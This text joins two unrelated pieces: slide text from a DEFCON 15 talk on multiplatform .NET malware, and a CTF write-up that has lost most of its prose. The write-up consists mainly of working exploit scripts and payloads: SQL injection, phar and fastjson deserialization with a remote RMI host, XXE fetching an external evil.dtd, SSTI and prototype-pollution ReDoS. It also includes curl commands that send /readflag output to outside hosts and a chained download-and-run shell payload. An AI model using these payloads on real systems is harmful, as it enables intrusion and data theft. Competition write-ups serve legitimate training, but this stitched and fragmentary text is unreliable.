DEFCON 15 Multiplatform malware within the .NET-Framework Multiplatform malware within the .NET-Framework DEFCON 0x0f August 3rd – August 5th Paul Sebastian Ziegler [email protected] DEFCON 15 Multiplatform malware within the .NET-Framework What exactly is multiplatform malware? DEFCON 15 Multiplatform malware within the .NET-Framework ● Runs on several different processors or host operating systems ● Does not need to be modified from system to system ● Is able to jump from one system to another ● May be anything from worm to trojan to virus Multiplatform malware... DEFCON 15 Multiplatform malware within the .NET-Framework Multiplatform malware does not... ● Attack common design flaws in broadly used protocols various operating systems implement (XSS is not multiplatform malware) ● Need to be in binary form DEFCON 15 Multiplatform malware within the .NET-Framework Recent Developments ● More Devices ● More Operating Systems ● More Cross-System Integration ● More Mobility ● Less Security-Concerns DEFCON 15 Multiplatform malware within the .NET-Framework Notable implementations of multiplatform malware up until now ● {Win32, Linux}/Simile.D (Virus) – Infects both PE and ELF executables – Polymorphic and Metamorphic ● W32/Linux.Bi – PoC Virus – Infects local files DEFCON 15 Multiplatform malware within the .NET-Framework The Potential of multiplatform malware DEFCON 15 Multiplatform malware within the .NET-Framework I. Jumping Systems DEFCON 15 Multiplatform malware within the .NET-Framework The Old Standard Secret Service Guy: We need access to that network and we need it now! Some Geek: Oh... yeah... right. Look, I'm really sorry, but I was extremely busy tonight. See, when I scanned that employee's firewall I saw that his son had an Xbox360 connected to the Internet so I spent all night hacking it just to get his savegames... Secret Service Guy: WTF? Do you know what this means? They have 200 nuclear warheads stationed around the world! Also we believe that they cut 26,72$ tax last year. Some Geek: Now come on, it's not all bad... At least we can play games for free! Secret Service Guy: Yes, indeed. That is great... Just wait at your house and keep the doors unlocked. I'll send over a S.W.A.T-team to... umh... “play”. DEFCON 15 Multiplatform malware within the .NET-Framework The New Possibilities Secret Service Guy: Ok now. This is your first job after you have been hired since the previous specialist couldn't continue working due to... a terrible headache. Also you'll probably have heard the tales of how we managed to disarm all the nuclear warheads using a piece of paper and a bottle cap. But now we need access to that network! Another Geek: Umh, listen... did that other guy tell you the employee's kid had and Xbox360 connected to the internet? Secret Service Guy: Not again! Don't tell me you hacked his saves... Another Geek: Of course I did! He is really a good gamer. However I also installed a worm on that Xbox that jumped to their Vista box and collected all the credentials from our target employee's PocketPC after being synced onto there as well. I already mailed you the passwords. Secret Service Guy: Great! You really do know a lot about hacking... and our organization... and our plans... Just wait at home and keep your doors unlocked. I'll send over a S.W.A.T team to... uhm... “congratulate” you. DEFCON 15 Multiplatform malware within the .NET-Framework II. The Momentum Of Surprise DEFCON 15 Multiplatform malware within the .NET-Framework The old common sense of OS-security: If it hurts me then it was build for me The new common sense of OS-security: I am vulnerable in most cases - no matter what DEFCON 15 Multiplatform malware within the .NET-Framework The way of the Non-Windows L-User ● I am running XYZ and it is secure by default ● Very few people develop malware for XYZ ● If an MS-friend of mine should be infected with malware his PC could not infect me anyways ● I do not need to be careful when dealing with downloads, attachments and portable media DEFCON 15 Multiplatform malware within the .NET-Framework Ways of implementing mutliplatform malware DEFCON 15 Multiplatform malware within the .NET-Framework ● Carrying various versions as payloads ● Using cross-system compliant assembler instructions ● Using runtime frameworks and intermediate languages DEFCON 15 Multiplatform malware within the .NET-Framework “p3wn me in .NET darling” - Project Akikaze DEFCON 15 Multiplatform malware within the .NET-Framework Goals ● Create some PoC that actually works ● Have it attack Thunderbird and spread from there ● Explore the possibilities of runtime frameworks DEFCON 15 Multiplatform malware within the .NET-Framework Why .NET? ● CIL-code is fast ● There are several .NET implementations ● Many people run it ● Language independence ● No virtual machine restrictions ● Lots of classes for platform independence ● Microsoft designed it, so it comes from a long tradition of great malware-boosters DEFCON 15 Multiplatform malware within the .NET-Framework Why Thunderbird? ● It runs on many different platforms ● Attacking a mailclient makes it easy to redistribute the malware ● I am using it DEFCON 15 Multiplatform malware within the .NET-Framework DEFCON 15 Multiplatform malware within the .NET-Framework DEFCON 15 Multiplatform malware within the .NET-Framework The Code DEFCON 15 Multiplatform malware within the .NET-Framework https://observed.de DEFCON 15 Multiplatform malware within the .NET-Framework DEFCON 15 Multiplatform malware within the .NET-Framework DEFCON 15 Multiplatform malware within the .NET-Framework DEFCON 15 Multiplatform malware within the .NET-Framework Demonstration DEFCON 15 Multiplatform malware within the .NET-Framework Limitations of multiplatform malware and runtime frameworks DEFCON 15 Multiplatform malware within the .NET-Framework Multiplatform Malware... ● Needs to use code that will work on any system targeted ● Will get really nasty once we start to jump in between various processor architectures ● Is just as detectable by AV as any other malware DEFCON 15 Multiplatform malware within the .NET-Framework Runtime Frameworks... ● Need to be installed ● May need to be invoked manually ● Use intermediate languages that are – Easily reverse engineered – Easily analysed for malicious content DEFCON 15 Multiplatform malware within the .NET-Framework Summary DEFCON 15 Multiplatform malware within the .NET-Framework Discussion
pdf
XCTF-“”WP AuthorNu1L Team XCTF-“”WP WEB easy_trick_gzmtu webct webtmp hackme baby_java fmkq dooog nweb PHP-UAF sqlcheckin nothardweb happyvacation GuessGame hardphp Crypto NHP lancet Misc ez_mem&usb MISC Apk GetFlag Pwn Shotest_Path_v2 twochunk musl lgd easyheap woodenbox easy_unicorn bjut Kernoob EasyVM babyhacker babyhacker2 rustpad Re clock cycle graph baby_wasi fxck! Rubik easyparser OwnerMoney WEB easy_trick_gzmtu admin 20200202goodluckurl eGlhb2xldW5n check.php eGlhb2xldW5nLnBocA==.php , file://localhost/var/www/html/eGlhb2xldW5n/eGlhb2xldW5nLnBocA==.php import requests import re from string import lowercase # payload = "union select 1,(select group_concat(concat_ws(0x23,username,passwd,url)) from trick.admin), 1 %23" payload = r"union select 1,(select @@global.secure_file_priv), 1 %23" # payload = "union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='trick' and table_name='admin'), 1 %23" url = r'http://121.37.181.246:6333/?time=123%27%20' for i in payload: if i in lowercase: url += '\\' + i else: url += i print url res = requests.get(url).text print res print re.search(r'<div class="text-c ">(.*?)</div>', res).groups()[0] <?php class trick{ public $gf; public function content_to_file($content){ $passwd = $_GET['pass']; if(preg_match('/^[a-z]+\.passwd$/m',$passwd)) { if(strpos($passwd,"20200202")){ echo file_get_contents("/".$content); } } } public function aiisc_to_chr($number){ if(strlen($number)>2){ $str = ""; $number = str_split($number,2); foreach ($number as $num ) { $str = $str .chr($num); } return strtolower($str); } return chr($number); } public function calc(){ $gf=$this->gf; if(!preg_match('/[a-zA-z0-9]|\&|\^|#|\$|%/', $gf)){ eval('$content='.$gf.';'); $content = $this->aiisc_to_chr($content); return $content; } } public function __destruct(){ $this->content_to_file($this->calc()); } } unserialize((base64_decode($_GET['code']))); ?> webct rogue mysq server webtmp hackme <?php class trick { // $gf = "70766571"; public $gf = "~\xC8\xCF\xC8\xC9\xC9\xCA\xC8\xCE"; } $trick = new trick(); echo base64_encode(serialize($trick)), PHP_EOL; GET /eGlhb2xldW5n/eGlhb2xldW5nLnBocA==.php? code=Tzo1OiJ0cmljayI6MTp7czoyOiJnZiI7czo5OiJ%2byM/IycnKyM4iO30%3d&pass=a.passw d%0a20200202 HTTP/1.1 Host: 121.37.181.246:6333 Cookie: PHPSESSID=fa4f2b0321c6d7be56c785f60051a7c4 Connection: close flag <?php include('config.php'); $a = new Listfile('/;/readflag; curl http://xxxxx/`/readflag`'); $b = new Fileupload($a); $phar = new Phar("1.phar"); $phar->startBuffering(); $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); $phar->setMetadata($b); $phar->addFromString("test.jpg","test"); $phar->stopBuffering(); rename("1.phar", "1.gif"); ?> payload = b"\x80\x03c__main__\nsecret\n} (X\x04\x00\x00\x00nameX\x03\x00\x00\x00233X\x08\x00\x00\x00categoryX\x03\x00\x 00\x00233ub0c__main__\nAnimal\n)\x81} (X\x04\x00\x00\x00nameq\x03X\x03\x00\x00\x00233X\x08\x00\x00\x00categoryX\x03\ x00\x00\x00233ub." session url=compress.zlib://data:@127.0.0.1/baidu.com?,ls ,hitcon : session_save_path('../session'); ini_set('session.serialize_handler', 'php'); session_start(); ./sandbox/be6b9601cee3aba3f4d4ba3d2e4f7813 <?php require_once('./init.php'); error_reporting(0); if (check_session($_SESSION)) { #hint : core/clear.php $sandbox = './sandbox/' . md5("Mrk@1xI^" . $_SERVER['REMOTE_ADDR']); echo $sandbox; @mkdir($sandbox); @chdir($sandbox); if (isset($_POST['url'])) { $url = $_POST['url']; if (filter_var($url, FILTER_VALIDATE_URL)) { if (preg_match('/(data:\/\/)|(&)|(\|)|(\.\/)/i', $url)) { echo "you are hacker"; } else { $res = parse_url($url); if (preg_match('/127\.0\.0\.1$/', $res['host'])) { $code = file_get_contents($url); if (strlen($code) <= 4) { @exec($code); } else { echo "try again"; } } } } else { echo "invalid url"; } } else { highlight_file(__FILE__); } } else { die(''); } import requests,base64 from time import sleep from urllib import quote payload = [ '>dir', baby_java xmlxxe: '>sl', '>g\>', '>ht-', '*>v', '>rev', '*v>x', '>\;\\', '>sh\\', '>ba\\', '>\|\\', '>x\\', '>x\\', '>x.\\', '>x\\', '>x.\\', '>x\\', '>x.\\', '>11\\', '>\ \\', '>rl\\', '>cu\\', #1xxxx.x.x.x 'sh x', 'sh g', ] r = requests.get('http://121.36.222.22:88/core/clear.php') cookiess={ "PHPSESSID":"08e44553061c5dc2d0f47bece853784c" } for i in payload: assert len(i) <= 4 data={ "url":'compress.zlib://data:@127.0.0.1/baidu.com?,'+quote(i) } r = requests.post('http://121.36.222.22:88/core/index.php',data=data,cookies=cooki ess) print r.text sleep(0.1) <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE data SYSTEM "http://111.231.17.208/evil.dtd"> <user><number>ddd</number><name>&send;</name></user> hint.txtvps Method%uFF1A post Path %uFF1A /you_never_know_the_path <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <parent> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-parent</artifactId> <version>2.2.4.RELEASE</version> <relativePath/> <!-- lookup parent from repository --> </parent> <groupId>com.tr1ple</groupId> <artifactId>sus</artifactId> <version>0.0.1-SNAPSHOT</version> <name>baby_java</name> <description>Spring Boot</description> <properties> <java.version>1.8</java.version> </properties> <dependencies> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter</artifactId> </dependency> <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-configuration2</artifactId> <version>2.2</version> </dependency> <dependency> <groupId>org.aspectj</groupId> <artifactId>aspectjweaver</artifactId> <version>1.9.5</version> </dependency> <dependency> <groupId>org.aspectj</groupId> <artifactId>aspectjtools</artifactId> <version>1.9.5</version> </dependency> <dependency> <groupId>saxpath</groupId> <artifactId>saxpath</artifactId> <version>1.0-FCS</version> </dependency> <dependency> <groupId>commons-configuration</groupId> <artifactId>commons-configuration</artifactId> <version>1.6</version> </dependency> <dependency> <groupId>commons-lang</groupId> <artifactId>commons-lang</artifactId> <version>2.5</version> </dependency> <dependency> <groupId>org.apache.flex.blazeds</groupId> <artifactId>flex-messaging-core</artifactId> <version>4.7.3</version> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-thymeleaf</artifactId> </dependency> <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.48</version> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-test</artifactId> <scope>test</scope> <exclusions> <exclusion> <groupId>org.junit.vintage</groupId> <artifactId>junit-vintage-engine</artifactId> </exclusion> </exclusions> </dependency> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.1</version> </dependency> </dependencies> fastjson1.2.48Pathjson payload typeprefixtype prefixfastjson - _ fastjson parseField - - JRMPCommons Collections 3.1gadget fmkq http://121.37.179.47:1101/?head=%5C&url=http://127.0.0.1:8080/&begin=%25s%25 http://121.37.179.47:1101/? head=&url=http%3A%2F%2F127.0.0.1%3A8080%2Fread%2Ffile%3D{{7*7}}%26vipcode%3D0&beg in=%s% ssti <build> <plugins> <plugin> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-maven-plugin</artifactId> </plugin> </plugins> </build> </project> {"@\x74ype":"org.apache.commons.configuration.JNDIConfiguration","- prefix":"rmi://111.231.17.208:3888"} Welcome to our FMKQ api, you could use the help information below To read file: /read/file=example&vipcode=example if you are not vip,let vipcode=0,and you can only read /tmp/{file} Other functions only for the vip!!! %d The content of {7*7} is error%d http://121.37.179.47:1101/? head=%5C&url=http%3A%2F%2F127.0.0.1%3A8080%2Fread%2Ffile%3D%7Bfile.__class__%7 D%26vipcode%3D0&begin=%25s%25 The content of <class 'base.readfile.readfile'> is error%d http://121.37.179.47:1101/? head=%5C&url=http%3A%2F%2F127.0.0.1%3A8080%2Fread%2Ffile%3D%7Bfile.__class__._ _init__.__globals__%7D%26vipcode%3D0&begin=%25s%25 The content of {'__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7f97c615cdd8>, '__name__': 'base.readfile', 'vip': <class 'base.vip.vip'>, '__cached__': '/app/base/__pycache__/readfile.cpython- 35.pyc', 'vipreadfile': <class 'base.readfile.vipreadfile'>, 're': <module 're' from '/usr/lib/python3.5/re.py'>, 'File': <class 'base.readfile.File'>, 'readfile': <class 'base.readfile.readfile'>, '__builtins__': {'divmod': <built-in function divmod>, 'int': <class 'int'>, 'UserWarning': <class 'UserWarning'>, 'vars': <built-in function vars>, 'iter': <built-in function iter>, 'hasattr': <built-in function hasattr>, 'ascii': <built-in function ascii>, 'zip': <class 'zip'>, 'BrokenPipeError': <class 'BrokenPipeError'>, 'range': <class 'range'>, 'StopIteration': <class 'StopIteration'>, 'bytes': <class 'bytes'>, 'UnicodeWarning': <class 'UnicodeWarning'>, '__package__': '', 'delattr': <built-in function delattr>, 'PendingDeprecationWarning': <class 'PendingDeprecationWarning'>, 'str': <class 'str'>, 'help': Type help() for interactive help, or help(object) for help about object., 'AttributeError': <class 'AttributeError'>, 'EOFError': <class 'EOFError'>, 'len': <built-in function len>, 'KeyboardInterrupt': <class 'KeyboardInterrupt'>, 'frozenset': <class 'frozenset'>, 'copyright': Copyright (c) 2001-2016 Python Software Foundation. All Rights Reserved. Copyright (c) 2000 BeOpen.com. All Rights Reserved. Copyright (c) 1995-2001 Corporation for National Research Initiatives. All Rights Reserved. Copyright (c) 1991-1995 Stichting Mathematisch Centrum, Amsterdam. All Rights Reserved., 'super': <class 'super'>, 'hex': <built-in function hex>, 'reversed': <class 'reversed'>, 'NotADirectoryError': <class 'NotADirectoryError'>, 'UnicodeTranslateError': <class 'UnicodeTranslateError'>, 'map': <class 'map'>, 'IOError': <class 'OSError'>, 'globals': <built-in function globals>, 'enumerate': <class 'enumerate'>, 'ReferenceError': <class 'ReferenceError'>, 'ImportError': <class 'ImportError'>, 'compile': <built-in function compile>, 'abs': <built-in function abs>, 'quit': Use quit() or Ctrl-D (i.e. EOF) to exit, 'SystemError': <class 'SystemError'>, 'NotImplementedError': <class 'NotImplementedError'>, 'BaseException': <class 'BaseException'>, 'dir': <built-in function dir>, 'ChildProcessError': <class 'ChildProcessError'>, 'input': <built-in function input>, 'RuntimeError': <class 'RuntimeError'>, 'hash': <built-in function hash>, 'NameError': <class 'NameError'>, 'None': None, 'id': <built-in function id>, 'SystemExit': <class 'SystemExit'>, 'property': <class 'property'>, 'OverflowError': <class 'OverflowError'>, 'IndentationError': <class 'IndentationError'>, '__name__': 'builtins', 'open': <built-in function open>, 'min': <built-in function min>, 'FloatingPointError': <class 'FloatingPointError'>, 'OSError': <class 'OSError'>, 'exit': Use exit() or Ctrl-D (i.e. EOF) to exit, 'ord': <built-in function ord>, 'credits': Thanks to CWI, CNRI, BeOpen.com, Zope Corporation and a cast of thousands for supporting Python development. See www.python.org for more information., 'dict': <class 'dict'>, 'ConnectionResetError': <class 'ConnectionResetError'>, 'ProcessLookupError': <class 'ProcessLookupError'>, 'FutureWarning': <class 'FutureWarning'>, 'IsADirectoryError': <class 'IsADirectoryError'>, 'TabError': <class 'TabError'>, 'EnvironmentError': <class 'OSError'>, 'UnboundLocalError': <class 'UnboundLocalError'>, 'ArithmeticError': <class 'ArithmeticError'>, 'oct': <built-in function oct>, 'float': <class 'float'>, 'ConnectionRefusedError': <class 'ConnectionRefusedError'>, 'next': <built-in function next>, 'tuple': <class 'tuple'>, 'bin': <built-in function bin>, 'True': True, 'callable': <built-in function callable>, 'memoryview': <class 'memoryview'>, 'pow': <built-in function pow>, 'FileExistsError': <class 'FileExistsError'>, 'StopAsyncIteration': <class 'StopAsyncIteration'>, 'repr': <built-in function repr>, 'complex': <class 'complex'>, 'UnicodeDecodeError': <class 'UnicodeDecodeError'>, 'print': <built-in function print>, 'staticmethod': <class 'staticmethod'>, 'getattr': <built-in function getattr>, 'RecursionError': <class 'RecursionError'>, '__doc__': "Built-in functions, exceptions, and other objects.\n\nNoteworthy: None is the `nil' object; Ellipsis represents `...' in slices.", 'FileNotFoundError': <class 'FileNotFoundError'>, 'exec': <built-in function exec>, 'ValueError': <class 'ValueError'>, 'InterruptedError': <class 'InterruptedError'>, 'isinstance': <built-in function isinstance>, 'classmethod': <class 'classmethod'>, 'license': Type license() to see the full license text, 'sorted': <built-in function sorted>, '__build_class__': <built-in function __build_class__>, 'any': <built-in function any>, 'list': <class 'list'>, 'NotImplemented': NotImplemented, 'ZeroDivisionError': <class 'ZeroDivisionError'>, 'max': <built-in function max>, 'all': <built-in function all>, 'UnicodeEncodeError': <class 'UnicodeEncodeError'>, 'IndexError': <class 'IndexError'>, 'chr': <built-in function chr>, 'ConnectionAbortedError': <class filevip, vipvipcode http://121.37.179.47:1101/? head=\&url=http%3A%2F%2F127.0.0.1%3A8080%2Fread%2Ffile%3D{file.vip.class.init.globals}%2 6vipcode%3D0&begin=%s% 'ConnectionAbortedError'>, 'BlockingIOError': <class 'BlockingIOError'>, 'UnicodeError': <class 'UnicodeError'>, 'ResourceWarning': <class 'ResourceWarning'>, 'BytesWarning': <class 'BytesWarning'>, 'SyntaxError': <class 'SyntaxError'>, 'type': <class 'type'>, 'Exception': <class 'Exception'>, '__import__': <built-in function __import__>, 'DeprecationWarning': <class 'DeprecationWarning'>, 'ImportWarning': <class 'ImportWarning'>, 'Ellipsis': Ellipsis, 'RuntimeWarning': <class 'RuntimeWarning'>, 'GeneratorExit': <class 'GeneratorExit'>, 'PermissionError': <class 'PermissionError'>, 'Warning': <class 'Warning'>, 'ConnectionError': <class 'ConnectionError'>, 'AssertionError': <class 'AssertionError'>, 'filter': <class 'filter'>, 'locals': <built-in function locals>, 'eval': <built-in function eval>, 'BufferError': <class 'BufferError'>, 'SyntaxWarning': <class 'SyntaxWarning'>, '__debug__': True, 'bool': <class 'bool'>, 'LookupError': <class 'LookupError'>, '__spec__': ModuleSpec(name='builtins', loader=<class '_frozen_importlib.BuiltinImporter'>), '__loader__': <class '_frozen_importlib.BuiltinImporter'>, 'sum': <built-in function sum>, 'False': False, 'object': <class 'object'>, 'KeyError': <class 'KeyError'>, 'bytearray': <class 'bytearray'>, 'set': <class 'set'>, 'MemoryError': <class 'MemoryError'>, 'setattr': <built-in function setattr>, 'format': <built-in function format>, 'TimeoutError': <class 'TimeoutError'>, 'TypeError': <class 'TypeError'>, 'round': <built-in function round>, 'slice': <class 'slice'>, 'issubclass': <built-in function issubclass>}, 'os': <module 'os' from '/usr/lib/python3.5/os.py'>, '__package__': 'base', '__doc__': None, 'current_folder_file': ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '10', '11', '12', '13', '14', '15', '16', '17', '18', '19', '20', '21', '22', '23', '24'], '__spec__': ModuleSpec(name='base.readfile', loader= <_frozen_importlib_external.SourceFileLoader object at 0x7f97c615cdd8>, origin='/app/base/readfile.py'), '__file__': '/app/base/readfile.py'} is error%d Welcome,dear vip! Here are what you want: The file you read is: /app/base/readfile.py The content is: from .vip import vip import re import os class File: def __init__(self,file): self.file = file def __str__(self): return self.file def GetName(self): return self.file class readfile(): def __str__(self): filename = self.GetFileName() if '..' in filename or 'proc' in filename: return "quanbumuda" else: try: file = open("/tmp/" + filename, 'r') content = file.read() file.close() return content except: return "error" def __init__(self, data): if re.match(r'file=.*?&vipcode=.*?',data) != None: data = data.split('&') data = { data[0].split('=')[0]: data[0].split('=')[1], data[1].split('=')[0]: data[1].split('=')[1] } if 'file' in data.keys(): self.file = File(data['file']) if 'vipcode' in data.keys(): self.vipcode = data['vipcode'] self.vip = vip() def test(self): if 'file' not in dir(self) or 'vipcode' not in dir(self) or 'vip' not in dir(self): return False else: return True def isvip(self): if self.vipcode == self.vip.GetCode(): return True else: return False def GetFileName(self): return self.file.GetName() current_folder_file = [] fl4g file, f, fl4gf, dooog cmd class vipreadfile(): def __init__(self,readfile): self.filename = readfile.GetFileName() self.path = os.path.dirname(os.path.abspath(self.filename)) self.file = File(os.path.basename(os.path.abspath(self.filename))) global current_folder_file try: current_folder_file = os.listdir(self.path) except: current_folder_file = current_folder_file def __str__(self): if 'fl4g' in self.path: return 'nonono,this folder is a secret!!!' else: output = '''Welcome,dear vip! Here are what you want:\r\nThe file you read is:\r\n''' filepath = (self.path + '/{vipfile}').format(vipfile=self.file) output += filepath output += '\r\n\r\nThe content is:\r\n' try: f = open(filepath,'r') content = f.read() f.close() except: content = 'can\'t read' output += content output += '\r\n\r\nOther files under the same folder:\r\n' output += ' '.join(current_folder_file) return output Other files under the same folder: __pycache__ __init__.py vip.py readfile.py%d http%3A%2F%2F127.0.0.1%3A8080%2Fread%2Ffile%3D{vipfile.file[0]}l4g_1s_h3re_u_w i11_rua%2fflag%26vipcode%3Dm3O5PGEBMnbX0N8ugWlIoijtFaS9KsqVAQdvZyT1cheCxpwf if int(time.time()) - data['timestamp'] < 60: if cmd not in ['whoami', 'ls']: return 'cmd error' nweb from toolkit import AESCipher import os import requests import json import time import base64 import requests cryptor = AESCipher('00000000') authenticator = cryptor.encrypt(json.dumps( {'username': 'Q7', 'timestamp': int(time.time())})) au = base64.b64encode(authenticator) print au tgt = requests.post('http://121.37.164.32:5001/getTGT', data={'username': 'Q7', 'authenticator': au}).content print tgt session_key, tgt = cryptor.decrypt( base64.b64decode(tgt.split('|')[0])), tgt.split('|')[1] cryptor = AESCipher(session_key) authenticator = base64.b64encode(cryptor.encrypt(json.dumps( {'username': 'Q7', 'timestamp': int(time.time())-100}))) res = requests.post('http://121.37.164.32:5001/getTicket', data={ 'username': 'Q7', 'authenticator': authenticator, 'TGT': tgt, 'cmd': '''curl q71998.cn:2333 -d `/readflag` '''}).content print res client_message, server_message = res.split('|') session_key = cryptor.decrypt(base64.b64decode(client_message)) cryptor = AESCipher(session_key) authenticator = base64.b64encode(cryptor.encrypt("Q7")) res = requests.post('http://121.37.164.32:5002/cmd', data={'server_message': server_message, 'authenticator': authenticator}).content print res POST /regist.php HTTP/1.1 Host: 121.37.179.47:1001 Proxy-Connection: keep-alive Content-Length: 48 Cache-Control: max-age=0 Origin: http://121.37.179.47:1001 Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.122 Safari/537.36 type110flag.php from : flagroute-mysql-serverflag.phpflag Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/ *;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://121.37.179.47:1001/regist.html Accept-Encoding: gzip, deflate Accept-Language: zh,zh-CN;q=0.9,en;q=0.8 Cookie: PHPSESSID=tcs09hisk755fbv2b46u6h4p23; username=f81f10e631f3c519d5a44d8da976fb67 email=veneno3a&pass=veneno&repass=veneno&type=110 import requests import string url = "http://121.37.179.47:1001/search.php" payloads = string.ascii_letters payloads += ',_0123456789{}-*()!' headers = {"Content-Type": "application/x-www-form-urlencoded", "Cookie": "PHPSESSID=urssuvhp9tuns63f6uk04lgca2; username=a006f0bdc1748c5db6cb5dac8f81680d", } result = '' for i in range(1, 200): for payload in payloads: payload = ord(payload) res = requests.post("http://121.37.179.47:1001/search.php", headers=headers, data="flag='and+if((selefromct+ascii(substr(flag,%s,1))+x+frfromom+fl4g+limit +1)='%s',exp(710),1)#" % (i, payload)) if res.status_code == 500: result += chr(payload) print(result) break if payload == ord('!'): raise Exception("over") PHP-UAF https://github.com/mm0r1/exploits/tree/master/php7-backtrace-bypass ...include sqlcheckin password 1'-'1 nothardweb key Payload: <?php error_reporting(0); session_start(); //-is-nday} flag hintphp I left a shell in 10.10.1.12/index.php try to get it! <!-- maybe something useful \<?php if(isset($_GET['cc'])){ $cc = $_GET['cc']; eval(substr($cc, 0, 6)); } else{ highlight_file(__FILE__); } ?\>--> <?php $keys = array(.......) // key50 $cipher = base64_decode('d1FJSkpiNnpncTE0WG5IRmFsL0VWYUduMlZKc3RVRUdmU0kzeG03Yk5rRmQrS0d wK1h4OERrRy9iWUZlVmhlbw=='); $iv = "\x00\x00\x00\x00\x00\x00\x00\x00"; $plain = 'O:4:"User":1:{s:8:"username";s:5:"guest";}'; $target = 'O:10:"SoapClient":4: {s:3:"uri";s:3:"bbb";s:8:"location";s:41:"http://10.10.1.12/index.php/? cc=echo%202;";s:13:"_soap_version";i:1;s:8:"username";s:5:"admin";}'; // for ($key = 0; $key < 524287; $key++) { // $des_key = strval($keys[$key]); soapshell /hint : socks5tomcatputshellflag happyvacation git // $uid = openssl_decrypt($cipher, 'des-cbc', $des_key, 0, $iv); // if ($plain[40] == $uid[40]) { // print_r($des_key); // print_r($uid); // } // } $key = strval(94675148);// $p = openssl_decrypt($cipher, 'des-cbc', $key, 0, $iv); print_r($p."<br/>"); $iv = ""; for ($i = 0; $i < 8; $i++) { $iv .= chr(ord($p[$i]) ^ ord($plain[$i])); } print_r($iv."<br />"); $hash = md5($target); print_r($hash."<br/>"); $c = openssl_encrypt($target, 'des-cbc', $key, 0, $iv); // print_r($c."<br/>"); print_r(base64_encode($c)."<br/>"); clone quiz.php? answer=user->uploader->black_list getshell GuessGame var config = { "forbidAdmin" : true, //"enableReg" : true }; var loginHistory = []; var adminName = "admin888"; var flag = "************"; app.get('/', function (req, res) { res.render("index"); }); //So terrible code~ app.post('/',function (req, res) { if(typeof req.body.user.username != "string"){ res.end("error"); }else { if(config.forbidAdmin && req.body.user.username.includes("admin")){ res.end("any admin user has been baned"); }else { if(req.body.user.username.toUpperCase() === adminName.toUpperCase()) //only log admin's activity log(req.body.user); res.end("ok"); } } }); app.get('/log', function (req,res) { if(loginHistory.length==0){ res.end("no log"); }else { res.json(loginHistory); } }); app.get('/verifyFlag', function (req, res) { res.render("verifyFlag"); }); app.post('/verifyFlag',function (req,res) { //let result = "Your match flag is here: "; let result = "Emm~ I won't tell you what happened! "; if(typeof req.body.q != "string"){ res.end("please input your guessing flag"); }else{ let regExp = req.body.q; if(config.enableReg && noDos(regExp) && flag.match(regExp)){ //res.end(flag); //Stop your wishful thinking and go away! } if(req.query.q === flag) result+=flag; res.end(result); } }); function noDos(regExp) { //match regExp like this will be too hard return !(regExp.length>30||regExp.match(/[)]/g).length>5); } function log(userInfo){ let logItem = {"time":new Date().toString()}; merge(logItem,userInfo); loginHistory.push(logItem); } #!/usr/bin/python # -*- coding: UTF-8 - import requests, sys from time import time,sleep prefix = '' depth = 2 if len(sys.argv) >= 3: depth = int(sys.argv[2]) prefix = sys.argv[1] elif len(sys.argv) >= 2: depth = int(sys.argv[1]) suffix = '(' * depth + '.' + '*)' * depth + '!' testcase = "" for i in range(32,128): if chr(i) in ['*','(',')','?','+','\\','[','^','.']: continue testcase+=chr(i) r = [] session = requests.Session() for c in testcase: session.post('http://121.37.167.12:82', json = {"user": {"username":"admın888", "__proto__": {"enableReg": True}}}) begin = time() result = session.post('http://121.37.167.12:82/verifyFlag', json = { 'q': prefix + c + suffix }) r.append([c, time() - begin]) sleep(0.1) print(prefix + c + suffix) print(len(prefix + c + suffix)) print(result.text) r = sorted(r, key = lambda x: x[1]) for d in r[::-1][:3]: print('[*] {} : {}'.format(d[0], d[1])) #!/usr/bin/python # -*- coding: UTF-8 - import requests, sys from time import time,sleep prefix = '' depth = 2 if len(sys.argv) >= 3: depth = int(sys.argv[2]) prefix = sys.argv[1] elif len(sys.argv) >= 2: depth = int(sys.argv[1]) prefix2 = '(' * depth suffix = ')*' * depth testcase = "" for i in range(32,128): if chr(i) in ['*','(',')','?','+','\\','[','^','.']: continue testcase+=chr(i) session = requests.Session() session.post('http://121.37.167.12:82', json = {"user":{"username":"admın888", "__proto__": {"enableReg": True}}}) r = [] for c in testcase: begin = time() result = session.post('http://121.37.167.12:82/verifyFlag', json = { 'q': prefix + prefix2 + '[^{}]'.format(c) + suffix + '!' }) r.append([c, time() - begin]) sleep(0.1) print(prefix + prefix2 + '[^{}]'.format(c) + suffix + '!') print(len(prefix + prefix2 + '[^{}]'.format(c) + suffix + '!')) print(result.text) r = sorted(r, key = lambda x: x[1]) g3tF1AAGaEz1Y g3tF1AGEazYg3tF1AGEAzY AGaEz1Yflagflag:g3tF1aAGEAzY hardphp XNUCAphp phpuserControllersession for d in r[:15]: print('[*] {} : {}'.format(d[0], d[1])) POST /?c=user&a=login HTTP/1.1 Host: 127.0.0.1:8888 Content-Type: application/x-www-form-urlencoded Content-Length: 76 Cookie: PHPSESSID=8ce8a0c31317274b96eb0bd9bfb212bc Connection: close username=asaasasas&password=123456&HTTP_X_FORWARDED_FOR[',data%3d's'%23]=123 BaseController sessionsession_set_save_handlerread 